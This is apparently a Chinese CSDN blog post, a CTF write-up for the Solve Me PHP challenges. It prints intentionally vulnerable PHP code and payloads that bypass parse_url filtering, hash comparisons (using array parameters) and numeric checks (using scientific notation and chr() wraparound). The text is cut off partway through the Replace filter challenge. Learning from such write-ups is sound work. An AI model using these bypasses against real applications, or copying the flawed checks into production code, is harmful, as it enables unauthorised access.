Solve Me解题记录

本文记录了作者在Solve Me网站上完成CTF挑战的过程,涉及多种解题技巧,包括URL过滤绕过、哈希碰撞、JavaScript混淆代码解析等。通过实战,作者学到了很多关于Web安全和PHP的知识。
摘要由CSDN通过智能技术生成

前言

前一阵子关注点在实战上,现在又回归CTF学习套路了,这个网站http://solveme.peng.kr本来做了一半的题目,今天终于把他补完了,学到了炒鸡多的东西啊~

正文

Warm up

给出来一个密文和一段代码

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

    highlight_file(__FILE__); 

这题直接反过来写代码即可

<?php 
    $s = '1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=';
    echo hex2bin(strrev(bin2hex(base64_decode($s))));

Bad compare

 <?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['answer'])){

        if($_GET['answer'] === '尊찢悼嚴隆'){
            echo $flag;
        }else{
            echo 'Wrong answer';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__); 

这题可以知道我们要传进get参数,但是===后面的内容不在可见的ASCII码范围内于是我们抓包看一下
找到对应字符串的ASCII码,我们知道单引号url编码为%27,两个27之间的就是那串字符串的ASCII码,
直接构造payload:?answer=%f0%ee%c2%f5%d3%fa%e5%f1%d7%cc,得到flag

Winter sleep

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['time'])){

        if(!is_numeric($_GET['time'])){
            echo 'The time must be number.';

        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
            echo 'This time is too short.';

        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
            echo 'This time is too long.';

        }else{
            sleep((int)$_GET['time']);
            echo $flag;
        }

        echo '<hr>';
    }

    highlight_file(__FILE__); 

这一个题目我们运用了int的强制转换科学计数法
这个题目先使用科学计数法绕过前面的两个time以及is_numeric,最后通过int的阶段获取到flag,因为60 * 60 * 24 * 30 * 2=5.184*10^6
现在的payload:?time=5.185e6,sleep大约5秒后出现flag
为什么出现这样的效果我们来测试一下

 $time = '5.185e6';
 $num1 = 60 * 60 * 24 * 30 * 2;
 $num2 = 60 * 60 * 24 * 30 * 3;
 var_dump(!is_numeric($time));
 var_dump($time>$num1);
 var_dump($time<$num2);
 var_dump((int)$time);

bool(false)
bool(true)
bool(true)
int(5)

Hard login

一开始上手这一个题目,发现什么头绪也没有,因为他的那些参数我一个都不知道,发现url有点奇怪后来就尝试着直接去访问index.php,网页顿了一下又回到了login.php,怀疑存在302跳转,于是抓包看一下,果然重定向到login.php
但同时我们也得到flag

还有第二种方法,直接curl一下看情况
P21ZSH.md.png

URL filtering

 <?php
    error_reporting(0);
    require __DIR__."/lib.php";

    $url = urldecode($_SERVER['REQUEST_URI']);
    $url_query = parse_url($url, PHP_URL_QUERY);

    $params = explode("&", $url_query);
    foreach($params as $param){

        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }

        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        }
    }

    if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
        die($flag);
    }

    highlight_file(__FILE__); 

这一个题目我们可以发现存在parse_url函数,这个函数有个漏洞可以用多个/符号去绕过,然后就不会执行die("no hack");转而执行了下面的语句。
这里有篇方方土学长写过的总结:点我
构造的payload:///?do_you_want_flag=yes
后来发现还有官方的解法,就是利用描点去绕过,从来都不知道还可以这样搞
http://urlfiltering.solveme.peng.kr/?%23&do_you_want_flag=yes

Hash collision

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['foo'], $_GET['bar'])){

        if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
            die('Too long');
        }

        if($_GET['foo'] === $_GET['bar']){
            die('Same value');
        }

        if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
            die('Different hash');
        }

        echo $flag, '<hr>';
    }

    highlight_file(__FILE__); 

这种题目做了很多遍了,就是利用数组返回NULL去绕过,构造下面的payload

?foo[]=1&bar[]=2

Array2String

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    $value = $_GET['value'];

    $username = $_GET['username'];
    $password = $_GET['password'];

    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET['username']) unset($username);
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);
        else $username .= chr($value[$i]);

        if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
            echo 'Hello '.$username.'!', '<br>', PHP_EOL;
            echo $flag, '<hr>';
        }
    }

    highlight_file(__FILE__); 

发现要跟./secret.passwd路径下的内容一样,先去里面看一下,发现字符串simple_passw0rd
这个题目get到了一个新的知识点

就是chr()这个函数再ASCII码超过255的时候会自动取余,我们利用这个特性去拼接username的字符串,于是写了个Python脚本构造payload:

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8

s = '''15th_HackingCamp'''
dit = []
payload = ''


for i in s:
    dit.append((ord(i)+256))
#print dit 

for j in dit:
    payload += ('value[]='+str(j)+'&')

print payload+'password=simple_passw0rd'

得到payload:

?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd

最后得到flag

Replace filter

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['say']) && strlen($_GET['say']) < 20){

        $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

        if(preg_match('/give_me_the_flag/', $say)){
            echo $flag;
        }else{
            echo<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值